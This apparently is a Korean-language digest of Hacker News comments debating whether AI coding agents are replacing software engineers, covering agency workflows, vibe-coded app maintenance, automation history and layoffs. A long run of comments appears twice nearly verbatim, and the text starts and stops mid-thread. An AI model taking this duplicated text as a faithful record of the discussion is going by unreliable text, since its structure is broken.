엔지니어를 대체한 것은 분명하지만, 비엔지니어 친구들이 사이드 프로젝트를 만든 사례는 관련성이 낮음 이제 가능해졌기 때문에 만든 것이지, 원래 누군가를 고용해서 만들 예정은 아니었을 가능성이 큼 지금까지 고용하지 않았던 것처럼 말임 개발 에이전시에서 일하고, 고객 대부분은 빠르게 시장에 나가야 하는 스타트업임 약 1년 반 동안 에이전트 기반 개발 을 써왔고, 그동안 우리의 역할은 크게 바뀌었음 프로젝트 유입량은 정확한 숫자를 몰라 말하기 어렵지만, 보이는 변화는 전달 가능 범위에 대한 기대치가 달라졌다는 점임 예전에는 5명이 하던 프로젝트를 이제 보통 1~2명이 함 현실적으로 그린필드 프로젝트는 상당 부분 자동화됐음 UX/UI 디자인 반복, 시스템 아키텍처 반복, 명확한 측정 지표가 없는 어려운 문제에 여러 접근을 시도하는 등의 많은 수작업이 이제 즉시 일어남 머릿속으로 이해할 수 있다면, 100분의 1 시간에 세상에 내놓을 수 있는 셈임 이 기간 동안 일하는 방식과 시스템을 생각하는 방식도 많이 바뀌었음 LLM과 공생하게 됐고, 이제 없이는 정말 어렵다 그렇다고 LLM이 쓰는 코드를 이해하지 못한다는 뜻은 아니고, 모든 변경을 따라가며 코드베이스도 LLM보다 훨씬 크게 이해하고 있음 다만 수동으로 코드를 작성하는 능력은 크게 퇴화했고, 그 점은 괜찮다고 생각함 현재는 비즈니스 목표와 그것을 가장 잘 뒷받침하는 기술 사이의 번역 계층 처럼 느껴짐 여전히 문제 해결이지만 훨씬 높은 수준의 문제 해결이고, 여전히 흥미롭고 재미있음 개발자에게 이 시대의 최선 전략은 비판적 사고를 유지하고 도구를 유리하게 쓰는 것 같음 이제 모두가 초능력을 얻었음 꼭 회사에서 일할 필요도 없고, 1인 개발자가 엄청난 것을 만들 수 있으니 다른 사람에게 의존할 필요도 예전만큼 없음 어쩌면 미래는 각자가 세상에 고유한 무언가를 제공하는 매크로 제품 경제 일지도 모름 “이제 모두가 초능력을 얻었다”는 식의 해석은 AI 열광론자들이 상황을 이상하게 오해하는 것 같음 에이전트 코딩으로 그린필드 프로젝트를 만들 만큼 충분히 좋아진다면, 개발자뿐 아니라 회사 전체와 산업 부문 전체에도 영향을 줌 개발 에이전시 사업 모델은 기술이 약한 회사들이 소프트웨어를 다루는 법을 모르기 때문에 존재하고, 어떤 경우에는 초기 인력 집약 작업을 외주화하려는 기회주의도 있음 그런데 이제 그 기술이 에이전시 고객 손끝에 이미 있으니, CEO와 관리자들이 바이브 코딩을 시작하고 “기술 감각이 조금 있는 개발자 한 명”만 필요하다고 깨닫는 건 시간문제임 이것은 많은 SaaS 사업에도 확장될 수 있음 여전히 많은 소기업이 수작업을 없애려고 맞춤 소프트웨어를 원하지만, 진지한 소프트웨어 개발자는 항상 너무 비쌌음 그래서 누군가의 조카가 만든 엉성한 코드나 겨우 작동하는 SaaS를 쓰곤 했음 이제는 여전히 꽤 엉성하겠지만 자기 맞춤 솔루션을 만들고 더 많은 것을 얻을 수 있음 빅테크가 하는 일은 경기침체에 맞춘 재조정에 가깝고, 더 걱정되는 건 중소 기술 부문 의 혼란임 회사에서 일하는 이유가 개발자가 혼자 결과물을 낼 수 없어서만은 아님 고객을 따낼 연결망 이 없기 때문임 대부분의 개발자는 자신이 잘하는 일에 집중할 수 있도록 회사가 적어도 마케팅을 맡아주길 필요로 함 코드 작성 능력의 퇴화는 이미 느끼고 있음 코드 생성과 코드 판별은 뇌에서 다른 능력임 프로그래밍에는 주로 작은 문법적 세부사항이 많기 때문에, 코드를 쓰는 데 어려움을 겪어도 리뷰는 잘할 수 있음 https://xcancel.com/karpathy/status/2015883857489522876 이론적으로 가능한 것과 현실적으로 가능한 것을 혼동하면 안 됨 실제 세상에서 성공한 회사들은 데이터, 특허·지식재산, 네트워크 효과 등으로 해자를 갖고 있음 개발 시간이 100분의 1이 됐다고 해서 곧바로 새 사업을 만들 수 있는 것은 아님 지금 기술 업계를 둘러보면 민첩한 AI 기반 빌더에게 와해될 수 있어 보이는 회사가 많지만, 잠금 효과 때문에 실제로는 그렇게 되지 않고 있음 “1950년 미국 인구조사의 270개 직업 중 자동화로 사라진 것은 엘리베이터 운전원 하나뿐”이라는 주장은 오해를 부름 같은 기간 농업 일자리 는 노동력의 15%에서 2%로 줄었음 글에서도 그 부분을 다루는 것 같음 농업처럼 기계화와 자동화로 노동 수요가 크게 줄어든 직업과는 다르다고 함 사람들이 소비하는 칼로리 양은 비교적 고정되어 있고 25% 증가만으로도 비만 유행이 생겼지만, 생산되는 소프트웨어의 양은 백만 배 커졌다는 차이임 농장 고용 자체는 1950년 대비 4분의 1로 줄었음 비율 수치는 전체 노동력이 커졌기 때문에 감소를 과장함 하지만 더 넓은 식품 산업 고용을 보면 상당히 늘었음 그래서 “코더” 고용은 줄어도 더 넓은 “소프트웨어/기술” 산업 고용은 늘어날 수 있음 벌목 산업을 찾아보면 됨 그 일자리의 95% 정도는 이미 자동화됐지만, 그들은 올빼미 탓을 하곤 함 통계를 선택적으로 쓰는 전형적인 방식임 공장, 컨베이어 벨트도 마찬가지임 자동화가 들어올 때마다 사람들은 계속 일자리를 잃고, 우리는 그들이 다른 일을 찾길 “희망”하거나 “제너럴리스트가 돼라”, “전문가가 돼라”, “서비스업으로 가라”, “코딩을 배워라”, “석탄을 캐라” 같은 극단적이고 앞뒤 안 맞는 희망론을 오감 @pmarca만 들어봐도 기술 리더십이 얼마나 길을 잃고 incoherent한지 보임 산업 자동화에 관한 Stripe Press 최신 책도 참고할 만함: https://press.stripe.com/origins-of-efficiency 가장 순진하게 AI를 믿는 사람들은 대체로 땜질하는 사람들 이었음 LLM 보조 코딩 덕분에 뭔가를 만지작거리는 속도는 놀라울 정도로 빨라졌으니 그럴 만함 땜질은 과정이고, 사람들은 만들고 조정하는 행위 자체에서 큰 즐거움을 얻음 결과는 2차나 3차 고려사항임 AI는 우리가 행동하고 따라서 만지작거릴 능력을 크게 넓혔지만, 스스로 의미 있는 영향, 즉 “엔지니어링”을 만들어내지는 못함 활동보다 영향이 중요함 땜질은 조직이 그 주변에 프로세스를 만들기 전의 엔지니어링처럼 보일 때가 많음 프로토타이핑, 디버깅, 테스트 등은 빨리 일어난다고 해서 가짜 일이 아님 컴파일러도 스스로 영향을 만들지는 않음 CI, IDE, 프레임워크, 클라우드 인프라도 마찬가지임 그것들은 사용하는 사람의 레버리지 를 높여줌 아내는 AI에게 대체됐음 프로그래머였고, 회사가 공개적으로 아내와 몇몇 사람을 대체할 목적으로 에이전트를 만들었으며, 작동하기 시작한 지 약 한 달 뒤에 해고했음 아직 남아 있는 동료들의 사기는 나쁠 것 같음 우리 팀은 18개월 전에 새 상사를 맞았는데, 노골적인 편애가 있었고 그가 좋아하는 사람은 팀플레이어가 아닌 유일한 사람이었음 그는 18개월 동안 원격 근무자를 과거 성과와 무관하게 모두 해고할 방법을 찾아냈음 그중 한 명은 상사보다 높은 레벨의 상도 여러 번 받았지만, 상사는 항상 그 유해한 사람만 인정했음 AI 대체는 아니었지만, 사람들이 가치 없다고 느끼는 분위기는 AI로 대체될 때와 비슷할 것 같음 내 감독자를 포함해 그 팀의 모두가 다른 직장에 지원 중임 감독자는 고기능 자폐가 있고, 상사에게 자주 조롱당함 그들의 정신 건강을 위해 꼭 성공하길 바람 HR에 문제를 몇 번 제기했고, 업무 규정에서 상사가 위반하는 조항도 찾았지만, 적어도 여기서는 그런 규정이 그냥 글자일 뿐이라는 걸 배웠음 오히려 내 등에 표적을 그리는 셈이라 떠나야 했음 다른 여러 명도 우려를 제기했고, 그중 대부분은 이후 다른 일을 찾은 사람들임 다행히 곧 갈 새 직장을 구했고 기대하고 있음 힘들겠다 괜찮길 바람 이후 어떻게 됐는지, 새 직장을 구했는지, 여전히 소프트웨어 쪽인지 궁금함 AI 해고에 관한 기업 커뮤니케이션이 가짜라고 해서 위험이 무효화되지는 않음 기업 쪽 이야기가 거짓일 수 있어도 기술의 영향은 실제가 될 수 있고, 이 맥락에서는 잡음일 뿐임 글의 버거 도표처럼 실행 단계는 줄어드는데 다른 모든 단계가 커져서 전체 버거 크기가 그대로라는 가정도 그다지 그럴듯하지 않음 다만 소프트웨어 엔지니어링의 일부 영역은 아직 위협받기 매우 먼 것 같음 특히 정확성이 핵심인 영역 이 그렇다 웹 개발은 대충 밀어붙일 여지가 훨씬 많지만, 로켓 항법 코드는 다름 LLM은 둘 다 할 수 있겠지만, 후자를 조만간 바이브 코딩하는 사람은 없을 것 같음 AI는 말 그대로 이미 일부를 대체했고 앞으로 더 그럴 것임 모든 소프트웨어 엔지니어를 대체하지는 않겠지만, 판도라의 상자가 열린 이상 저노력·저위험 작업 은 AI가 하게 됨 Lovable 같은 서비스에는 실제 운영 중인 프로젝트가 매우 많고, 대안은 사람이 만드는 것이었음 Lovable에서 비소프트웨어 전문가가 작성하거나 프롬프트한 것 중, 완전한 SaaS 도구로 유용할 만한 “훌륭한” 프로젝트를 보여줄 수 있나 대안이 사람이 만드는 것이 아니라, 아예 존재하지 않는 것이었을 수도 있음 일자리를 대체하는 것은 언제나 사업주 임 그래픽카드 묶음을 의인화하지 말아야 함 그 그래픽카드 묶음이 정말 더 효율적이 된다면, 인간을 고용하려는 사업주는 경쟁할 수 없게 됨 글의 이 부분은 확신이 안 듦 “진짜 병목은 (1) 무엇을 만들지 결정하고 명세하는 것, (2) 전달된 것을 검증하고 책임지는 것, (3) 코드베이스·비즈니스·환경에 대한 깊은 인간적 이해”라는 주장임 코딩이 비싸고 병목으로 여겨졌기 때문에, 그 입력이 맞고 출력물을 버리지 않도록 상류와 하류 모두에서 많은 노력이 들어갔던 것일 수 있음 코딩이 빠르고 싼 단계로 여겨진다면, 출력물을 버려도 되므로 상류에서 같은 수준의 감독이 필요하지 않을 수도 있음 잘못된 코드를 버리는 비용이 잘못된 것을 만드는 주된 비용은 아님 소프트웨어가 오작동했을 때의 영향과 하위 호환성 유지 가 훨씬 더 나쁨 답변달기
Hacker News 의견들 컴퓨터 산업 역사 내내 우리는 소프트웨어 엔지니어링 자동화 를 공격적이고 열정적으로 해왔고, 그때마다 더 크고 좋은 것을 더 빨리 만들 수 있게 됐음 그렇게 생산성이 오르면 일의 가치도 커지고 기대치도 같이 올라갔으며, 지금까지 세계의 소프트웨어 수요는 끝이 없었음 AI가 소프트웨어 엔지니어를 대체하지 못한 이유는 생산성이 올라갈 때마다 목표 지점도 함께 이동했기 때문임 이 흐름이 끝나는 경우는 두 가지인데, 첫째는 마침내 세계의 소프트웨어 수요를 다 채울 만큼 생산성이 높아지는 것임 아직 그런 증거는 보이지 않고, 이번이 컴퓨터 산업 전체 역사와 왜 다른지 명확히 설명해야 함 둘째는 AI가 자율적으로 행동할 때 인간보다 뛰어난 소프트웨어 엔지니어 가 되는 경우임 즉 AI+인간 개발자가 AI 단독보다 더 낫지 않은 상태인데, 지금까지 증거는 AI가 개발자의 증폭기이며 좋은 결과를 내려면 전문가가 방향을 잡고 AI가 최대 90%를 하는 정도로 보임 가까운 미래에 둘 중 하나가 일어날 강한 증거는 없어서 소프트웨어 엔지니어는 당분간 안전하다고 봄 다만 기술 폭이 좁고 특정 영역, 예컨대 프런트엔드 웹 개발에 집중한다면 더 걱정해야 함 AI가 소프트웨어 엔지니어 전체를 대체하지 못해도, 제너럴리스트가 지휘하는 형태로 특정 도메인을 완전히 흡수할 가능성은 꽤 높음 소프트웨어의 종착점이 그리 멀지 않았다고 봄 이미 전체적으로는 사람들이 정말 원하는 것보다 더 많은 소프트웨어를 만들고 있고, 그 상당수는 쓰레기에서 노골적 사기, 심지어 악성에 가까운 것까지 있음 최종적으로는 할 일 목록 관리나 파일 동기화처럼 일반인이 필요한 작은 소프트웨어를 각자의 AI가 맞춤형으로 작성하게 될 것 같고, 소프트웨어 엔지니어는 큰 기업 프로젝트에만 남게 될 듯함 지난 수십 년간 상용 소프트웨어의 압도적 추세는 극단적인 반사용자적 비맞춤화 였음 하나의 행복 경로만 남기고, 필요에 맞지 않으면 알아서 하라는 식이 됐음 일상적인 사람들을 위한 상용 소프트웨어는 거의 없고, 오픈소스조차 일반 사용자에게서 멀어지는 중임 곧 평범한 사람들이 자기 방식대로 문제를 해결하는 소프트웨어를 직접 만들 수 있게 될 것임 대부분의 경우 품질과 정확성은 크게 중요하지 않고, 맞춤형이며 무료이고 침습적인 감시·광고 플랫폼이 아니라는 점이 더 중요함 프런트엔드 웹 개발 예시는 좀 웃기게 느껴짐 프런트엔드 개발자로서 현재 최첨단 모델은 내가 신경 쓰지 않는 지루한 뒤쪽 배관 작업 은 잘하지만, 실제 고객이 원하는 맞춤형 디자인 작업은 아직 잘 못한다고 봄 누가 확실히 맞고 틀렸다는 뜻은 아니고, 더 일반적인 기술 폭이 새 시대에 성공하는 최선의 방법이라는 데는 동의함 다만 LLM이 스택의 어느 한 부분을 완전히 장악해서 그 분야 전문가가 사라질 정도는 아직 아님 “이런 일이 일어나는 증거가 보이지 않는다”는 말과 달리, 적어도 모바일 앱 스토어 에서는 이미 비슷한 현상이 보임 최근 분석에 따르면 출시 앱 수는 크게 늘었지만, 전체 리뷰 수와 다운로드 수는 정체되어 있음 즉 앱은 훨씬 많아졌지만 사용자는 그다지, 혹은 거의 늘지 않았다는 뜻임 "WRITING CODE VS. SHIPPING CODE: PRODUCTIVITY EFFECTS ACROSS GENERATIONS OF AI CODING TOOLS"의 p40 / figure 12를 보면 됨: https://www.nber.org/system/files/working_papers/w35275/w352... 분석은 42~43쪽에 있음 파이가 고정됐다는 걸 증명할 수는 없지만, 반대로 파이가 무한하다는 것도 증명할 수 없음 소프트웨어의 경제 성장 이야기를 할 때 사람들이 놓치는 핵심은 돈이 어딘가에서 와야 한다는 점임 계속 성장하려면 지금 소프트웨어에 돈을 내지 않는 누군가가 새로 지불을 시작해야 하는데, 그들이 누구이고 얼마를 갖고 있으며 어떤 다른 비용과 경쟁하는지 봐야 함 “세계의 소프트웨어 수요는 끝이 없었다”는 말이 모두가 최신 최고 기술을 찾는다는 뜻은 아님 많은 기업은 여전히 맞춤 스프레드시트 나 Microsoft Access 같은 기술에 의존함 원하는 일을 정확히 해주고, 비용이 고정적이며, 추가 수정이나 유지보수가 거의 필요 없기 때문임 우리가 갇힌 거품 밖으로 나가 보면 많은 사람이 업그레이드에 관심이 있는 게 아니라, 이미 아는 낡은 것이 그냥 계속 작동하길 원한다는 걸 알게 됨 AI가 전문가 지휘 아래 90%의 작업을 할 수 있다면, 그건 개발자의 90% 를 일자리에서 밀어낸다는 뜻임 그리고 그 비율이 99%가 되지 못할 이유도 잘 모르겠음 AI는 분명 소프트웨어 엔지니어를 대체할 것임 빠진 부분은 글에서 말하듯 전달·운영 이고, 그건 소프트웨어 엔지니어보다 DevOps/SRE/Cloud 엔지니어의 영역임 클라우드 엔지니어로 일하는데, 비엔지니어 친구 여러 명이 이제 각자 사이드 프로젝트를 처음부터 여러 언어로 만들고 로컬, 웹앱, 네이티브 앱으로 실행할 수 있게 됐다고 연락해옴 그들에게 부족한 건 “보통 개발자”처럼 쉽게 배포하고 유지할 플랫폼임 지금은 이 발판을 만드는 일이 꽤 번거롭지만, AGENTS.md, skills, 엄격한 종합 테스트로 충분히 가능함 한 번 만들어두면 비기술 사용자는 claude/codex에 원하는 것을 말하는 방식으로 소프트웨어 엔지니어를 고용하지 않고도 계속 개발할 수 있음 claude/codex는 미리 정한 아키텍처를 바탕으로 판단하고 비기술 사용자를 안내할 수 있음 내 일화적 사례에서는 AI가 이미 여러 소프트웨어 엔지니어를 대체했음 이런 발판이 제품화되면 그린필드 프로젝트 는 에이전트 코더와 플랫폼 엔지니어링을 통해 제품 관점에서만 관리될 수 있다고 봄 이것이 지금이고, 5년 뒤를 상상해보면 됨 이런 추론은 잘 이해되지 않는데도 널리 퍼져 있음 비엔지니어가 만든 앱을 들고 온다고 해서 AI가 소프트웨어 엔지니어를 대체했거나 대체할 것이라는 뜻은 아님 증상을 Dr. Google로 찾아보고 생활습관 변화, 약초 요법, 일반의약품을 시도해서 실제로 효과를 볼 수 있지만, 그렇다고 의사가 사라지는 건 전혀 아님 생성형 AI로 음악 이론도, 음악 감각도, 창의성도 없이 음악을 만들 수 있지만, 음악적 재능이 있는 사람들이 사라지는 것도 아님 AI 도움으로 집안 DIY를 할 수 있어도 엔지니어가 사라지는 것은 아님 도메인 전문가가 실제로 필요한 것을 프로토타입-개선 반복 으로 명확히 하도록 누가 도울 것인가 취미 소프트웨어 제작자들이 의존하는 운영체제, 언어, 버전 관리 시스템, 편집기와 터미널 에뮬레이터, 지식·문서 관리 시스템, PaaS 플랫폼 등은 누가 작성하고 유지할 것인가 그들이 만든 것을 견고하다고 보장할 만큼 제대로 테스트했는가 생길 수 있는 경계 조건을 이해하고 있는가 보안은 괜찮은가 프롬프트로 빠르게 뭔가를 만들어내는 것은 엔지니어링과 같지 않음 소프트웨어 엔지니어링의 가치가 주로 산출된 코드, 즉 비트 배열 자체에 있다고 보는 오류 때문에 이렇게 보지 못하는 것일 수 있음 프로젝트의 주된 가치는 이론과 추상화를 만들어가는 과정에 있음: https://pages.cs.wisc.edu/~remzi/Naur.pdf 생성과 유지보수는 완전히 다른 짐승임 2주짜리 앱을 만들고 다시는 손대지 않는 엔지니어도 있겠지만, 그런 걸로 생계를 유지하는 사람은 잘 모르겠음 “당신의 사업을 위한 WordPress 사이트” 같은 일은 가능할지 모름 문제는 기능이 432개 있는데 433번째 기능을 추가하면서 나머지를 건드리지 않아야 할 때 생김 조금이라도 틀리면 안 되는 경우도 있고, 기능 하나가 엔지니어가 감당하는 속도보다 더 빠르게 복잡도를 늘려 시간이 지나며 프로젝트가 관리 불가능한 크기가 되는 경우도 있음 우리 회사에서는 비기술 팀이 기술 팀의 과부하 때문에 스스로 도구를 만들기 시작했음 큰 시스템과 연동되는 작은 애플리케이션 아이디어였고, 2~3일 만에 3~4커밋으로 개념 증명이 만들어졌음 인상적이긴 했지만 만든 사람이 지난 3개월 동안 그 프로젝트에 400커밋을 더 했고, 수정이 이어지면서 사실상 그 앱을 만들고 유지하는 일이 파트타임 또는 풀타임 일이 됐음 그 사람은 훈련받지 않은 소프트웨어 개발자 가 됐고, 보안이나 모범 사례는 이해하지 못함 Claude가 더 좋아지면 부담이 줄어 하루를 잡아먹지 않을 수도 있지만, 현재 우리 회사의 이런 초기 “바이브 앱”들은 모두 유지보수 업무가 되어 점점 더 많은 시간을 먹고 있음 사람들은 소프트웨어를 덜 원하는 게 아니라 더 원한다는 게 분명함 전통적 소프트웨어 엔지니어링은 사라질 수 있어도, 확장되는 플랫폼 관리, 보안, 복잡성, 문서화, 비즈니스 로직은 여전히 우리 회사 앞에 남아 있음 텍스트로 프로젝트를 만들 수 있다는 말은 맞지만, 가장 단순한 소프트웨어가 아닌 이상 “설정하고 잊기”는 없었다고 느낌 여전히 누군가는 전체를 관리해야 함 그 사람이 소프트웨어 엔지니어링 훈련을 받았든 아니든 말임 경험 있는 개발자는 여전히 훈련받지 않은 사람보다 더 잘할 가능성이 큼 물론 호기심 많은 빌더들은 빠르게 따라잡겠지만, 전통적 개발자에게는 큰 우위가 있음 우리는 늘 내부가 어떻게 작동하는지 알고 싶어 했기 때문임 그들이 몇 달 걸려 만든 현재 바이브 앱은 AI를 쓰면 내가 한 시간 안에 만들 수 있었음 소프트웨어 배포는 터미널에서 vercel 을 실행하는 수준까지 내려왔고, 에이전트도 요청만 받으면 아무 문제 없이 할 수 있음 데스크톱 소프트웨어 배포는 플랫폼에 따라 조금 더 어렵긴 함 그래도 사이드 프로젝트와 훌륭한 소프트웨어 사이의 간극은 여전히 매우 넓고, 그 간극이 언젠가 메워질 거라고 믿기 어려움 AI 이전에도 이미 풀린 문제가 먼저 대체되지 않을 이유가 뭔지 모르겠음 개인 프로젝트에 복잡한 인프라가 필요하다고 믿기도 어렵다 AI 보조 코딩은 훌륭하지만, 바이브 코딩은 폐기 가능한 프로토타입에나 좋다고 봄 무기한 유지해야 하는 금융 앱을 바이브 코딩으로 만들지는 않을 것임 레거시 시스템도 건드리지 않을 것임 AI가 일부 엔지니어를 대체한 것은 분명하지만, 비엔지니어 친구들이 사이드 프로젝트를 만든 사례는 관련성이 낮음 이제 가능해졌기 때문에 만든 것이지, 원래 누군가를 고용해서 만들 예정은 아니었을 가능성이 큼 지금까지 고용하지 않았던 것처럼 말임 개발 에이전시에서 일하고, 고객 대부분은 빠르게 시장에 나가야 하는 스타트업임 약 1년 반 동안 에이전트 기반 개발 을 써왔고, 그동안 우리의 역할은 크게 바뀌었음 프로젝트 유입량은 정확한 숫자를 몰라 말하기 어렵지만, 보이는 변화는 전달 가능 범위에 대한 기대치가 달라졌다는 점임 예전에는 5명이 하던 프로젝트를 이제 보통 1~2명이 함 현실적으로 그린필드 프로젝트는 상당 부분 자동화됐음 UX/UI 디자인 반복, 시스템 아키텍처 반복, 명확한 측정 지표가 없는 어려운 문제에 여러 접근을 시도하는 등의 많은 수작업이 이제 즉시 일어남 머릿속으로 이해할 수 있다면, 100분의 1 시간에 세상에 내놓을 수 있는 셈임 이 기간 동안 일하는 방식과 시스템을 생각하는 방식도 많이 바뀌었음 LLM과 공생하게 됐고, 이제 없이는 정말 어렵다 그렇다고 LLM이 쓰는 코드를 이해하지 못한다는 뜻은 아니고, 모든 변경을 따라가며 코드베이스도 LLM보다 훨씬 크게 이해하고 있음 다만 수동으로 코드를 작성하는 능력은 크게 퇴화했고, 그 점은 괜찮다고 생각함 현재는 비즈니스 목표와 그것을 가장 잘 뒷받침하는 기술 사이의 번역 계층 처럼 느껴짐 여전히 문제 해결이지만 훨씬 높은 수준의 문제 해결이고, 여전히 흥미롭고 재미있음 개발자에게 이 시대의 최선 전략은 비판적 사고를 유지하고 도구를 유리하게 쓰는 것 같음 이제 모두가 초능력을 얻었음 꼭 회사에서 일할 필요도 없고, 1인 개발자가 엄청난 것을 만들 수 있으니 다른 사람에게 의존할 필요도 예전만큼 없음 어쩌면 미래는 각자가 세상에 고유한 무언가를 제공하는 매크로 제품 경제 일지도 모름 “이제 모두가 초능력을 얻었다”는 식의 해석은 AI 열광론자들이 상황을 이상하게 오해하는 것 같음 에이전트 코딩으로 그린필드 프로젝트를 만들 만큼 충분히 좋아진다면, 개발자뿐 아니라 회사 전체와 산업 부문 전체에도 영향을 줌 개발 에이전시 사업 모델은 기술이 약한 회사들이 소프트웨어를 다루는 법을 모르기 때문에 존재하고, 어떤 경우에는 초기 인력 집약 작업을 외주화하려는 기회주의도 있음 그런데 이제 그 기술이 에이전시 고객 손끝에 이미 있으니, CEO와 관리자들이 바이브 코딩을 시작하고 “기술 감각이 조금 있는 개발자 한 명”만 필요하다고 깨닫는 건 시간문제임 이것은 많은 SaaS 사업에도 확장될 수 있음 여전히 많은 소기업이 수작업을 없애려고 맞춤 소프트웨어를 원하지만, 진지한 소프트웨어 개발자는 항상 너무 비쌌음 그래서 누군가의 조카가 만든 엉성한 코드나 겨우 작동하는 SaaS를 쓰곤 했음 이제는 여전히 꽤 엉성하겠지만 자기 맞춤 솔루션을 만들고 더 많은 것을 얻을 수 있음 빅테크가 하는 일은 경기침체에 맞춘 재조정에 가깝고, 더 걱정되는 건 중소 기술 부문 의 혼란임 회사에서 일하는 이유가 개발자가 혼자 결과물을 낼 수 없어서만은 아님 고객을 따낼 연결망 이 없기 때문임 대부분의 개발자는 자신이 잘하는 일에 집중할 수 있도록 회사가 적어도 마케팅을 맡아주길 필요로 함 코드 작성 능력의 퇴화는 이미 느끼고 있음 코드 생성과 코드 판별은 뇌에서 다른 능력임 프로그래밍에는 주로 작은 문법적 세부사항이 많기 때문에, 코드를 쓰는 데 어려움을 겪어도 리뷰는 잘할 수 있음 https://xcancel.com/karpathy/status/2015883857489522876 이론적으로 가능한 것과 현실적으로 가능한 것을 혼동하면 안 됨 실제 세상에서 성공한 회사들은 데이터, 특허·지식재산, 네트워크 효과 등으로 해자를 갖고 있음 개발 시간이 100분의 1이 됐다고 해서 곧바로 새 사업을 만들 수 있는 것은 아님 지금 기술 업계를 둘러보면 민첩한 AI 기반 빌더에게 와해될 수 있어 보이는 회사가 많지만, 잠금 효과 때문에 실제로는 그렇게 되지 않고 있음 “1950년 미국 인구조사의 270개 직업 중 자동화로 사라진 것은 엘리베이터 운전원 하나뿐”이라는 주장은 오해를 부름 같은 기간 농업 일자리 는 노동력의 15%에서 2%로 줄었음 글에서도 그 부분을 다루는 것 같음 농업처럼 기계화와 자동화로 노동 수요가 크게 줄어든 직업과는 다르다고 함 사람들이 소비하는 칼로리 양은 비교적 고정되어 있고 25% 증가만으로도 비만 유행이 생겼지만, 생산되는 소프트웨어의 양은 백만 배 커졌다는 차이임 농장 고용 자체는 1950년 대비 4분의 1로 줄었음 비율 수치는 전체 노동력이 커졌기 때문에 감소를 과장함 하지만 더 넓은 식품 산업 고용을 보면 상당히 늘었음 그래서 “코더” 고용은 줄어도 더 넓은 “소프트웨어/기술” 산업 고용은 늘어날 수 있음 벌목 산업을 찾아보면 됨 그 일자리의 95% 정도는 이미 자동화됐지만, 그들은 올빼미 탓을 하곤 함 통계를 선택적으로 쓰는 전형적인 방식임 공장, 컨베이어 벨트도 마찬가지임 자동화가 들어올 때마다 사람들은 계속 일자리를 잃고, 우리는 그들이 다른 일을 찾길 “희망”하거나 “제너럴리스트가 돼라”, “전문가가 돼라”, “서비스업으로 가라”, “코딩을 배워라”, “석탄을 캐라” 같은 극단적이고 앞뒤 안 맞는 희망론을 오감 @pmarca만 들어봐도 기술 리더십이 얼마나 길을 잃고 incoherent한지 보임 산업 자동화에 관한 Stripe Press 최신 책도 참고할 만함: https://press.stripe.com/origins-of-efficiency 가장 순진하게 AI를 믿는 사람들은 대체로 땜질하는 사람들 이었음 LLM 보조 코딩 덕분에 뭔가를 만지작거리는 속도는 놀라울 정도로 빨라졌으니 그럴 만함 땜질은 과정이고, 사람들은 만들고 조정하는 행위 자체에서 큰 즐거움을 얻음 결과는 2차나 3차 고려사항임 AI는 우리가 행동하고 따라서 만지작거릴 능력을 크게 넓혔지만, 스스로 의미 있는 영향, 즉 “엔지니어링”을 만들어내지는 못함 활동보다 영향이 중요함 땜질은 조직이 그 주변에 프로세스를 만들기 전의 엔지니어링처럼 보일 때가 많음 프로토타이핑, 디버깅, 테스트 등은 빨리 일어난다고 해서 가짜 일이 아님 컴파일러도 스스로 영향을 만들지는 않음 CI, IDE, 프레임워크, 클라우드 인프라도 마찬가지임 그것들은 사용하는 사람의 레버리지 를 높여줌 아내는 AI에게 대체됐음 프로그래머였고, 회사가 공개적으로 아내와 몇몇 사람을 대체할 목적으로 에이전트를 만들었으며, 작동하기 시작한 지 약 한 달 뒤에 해고했음 아직 남아 있는 동료들의 사기는 나쁠 것 같음 우리 팀은 18개월 전에 새 상사를 맞았는데, 노골적인 편애가 있었고 그가 좋아하는 사람은 팀플레이어가 아닌 유일한 사람이었음 그는 18개월 동안 원격 근무자를 과거 성과와 무관하게 모두 해고할 방법을 찾아냈음 그중 한 명은 상사보다 높은 레벨의 상도 여러 번 받았지만, 상사는 항상 그 유해한 사람만 인정했음 AI 대체는 아니었지만, 사람들이 가치 없다고 느끼는 분위기는 AI로 대체될 때와 비슷할 것 같음 내 감독자를 포함해 그 팀의 모두가 다른 직장에 지원 중임 감독자는 고기능 자폐가 있고, 상사에게 자주 조롱당함 그들의 정신 건강을 위해 꼭 성공하길 바람 HR에 문제를 몇 번 제기했고, 업무 규정에서 상사가 위반하는 조항도 찾았지만, 적어도 여기서는 그런 규정이 그냥 글자일 뿐이라는 걸 배웠음 오히려 내 등에 표적을 그리는 셈이라 떠나야 했음 다른 여러 명도 우려를 제기했고, 그중 대부분은 이후 다른 일을 찾은 사람들임 다행히 곧 갈 새 직장을 구했고 기대하고 있음 힘들겠다 괜찮길 바람 이후 어떻게 됐는지, 새 직장을 구했는지, 여전히 소프트웨어 쪽인지 궁금함 AI 해고에 관한 기업 커뮤니케이션이 가짜라고 해서 위험이 무효화되지는 않음 기업 쪽 이야기가 거짓일 수 있어도 기술의 영향은 실제가 될 수 있고, 이 맥락에서는 잡음일 뿐임 글의 버거 도표처럼 실행 단계는 줄어드는데 다른 모든 단계가 커져서 전체 버거 크기가 그대로라는 가정도 그다지 그럴듯하지 않음 다만 소프트웨어 엔지니어링의 일부 영역은 아직 위협받기 매우 먼 것 같음 특히 정확성이 핵심인 영역 이 그렇다 웹 개발은 대충 밀어붙일 여지가 훨씬 많지만, 로켓 항법 코드는 다름 LLM은 둘 다 할 수 있겠지만, 후자를 조만간 바이브 코딩하는 사람은 없을 것 같음 AI는 말 그대로 이미 일부를 대체했고 앞으로 더 그럴 것임 모든 소프트웨어 엔지니어를 대체하지는 않겠지만, 판도라의 상자가 열린 이상 저노력·저위험 작업 은 AI가 하게 됨 Lovable 같은 서비스에는 실제 운영 중인 프로젝트가 매우 많고, 대안은 사람이 만드는 것이었음 Lovable에서 비소프트웨어 전문가가 작성하거나 프롬프트한 것 중, 완전한 SaaS 도구로 유용할 만한 “훌륭한” 프로젝트를 보여줄 수 있나 대안이 사람이 만드는 것이 아니라, 아예 존재하지 않는 것이었을 수도 있음 일자리를 대체하는 것은 언제나 사업주 임 그래픽카드 묶음을 의인화하지 말아야 함 그 그래픽카드 묶음이 정말 더 효율적이 된다면, 인간을 고용하려는 사업주는 경쟁할 수 없게 됨 글의 이 부분은 확신이 안 듦 “진짜 병목은 (1) 무엇을 만들지 결정하고 명세하는 것, (2) 전달된 것을 검증하고 책임지는 것, (3) 코드베이스·비즈니스·환경에 대한 깊은 인간적 이해”라는 주장임 코딩이 비싸고 병목으로 여겨졌기 때문에, 그 입력이 맞고 출력물을 버리지 않도록 상류와 하류 모두에서 많은 노력이 들어갔던 것일 수 있음 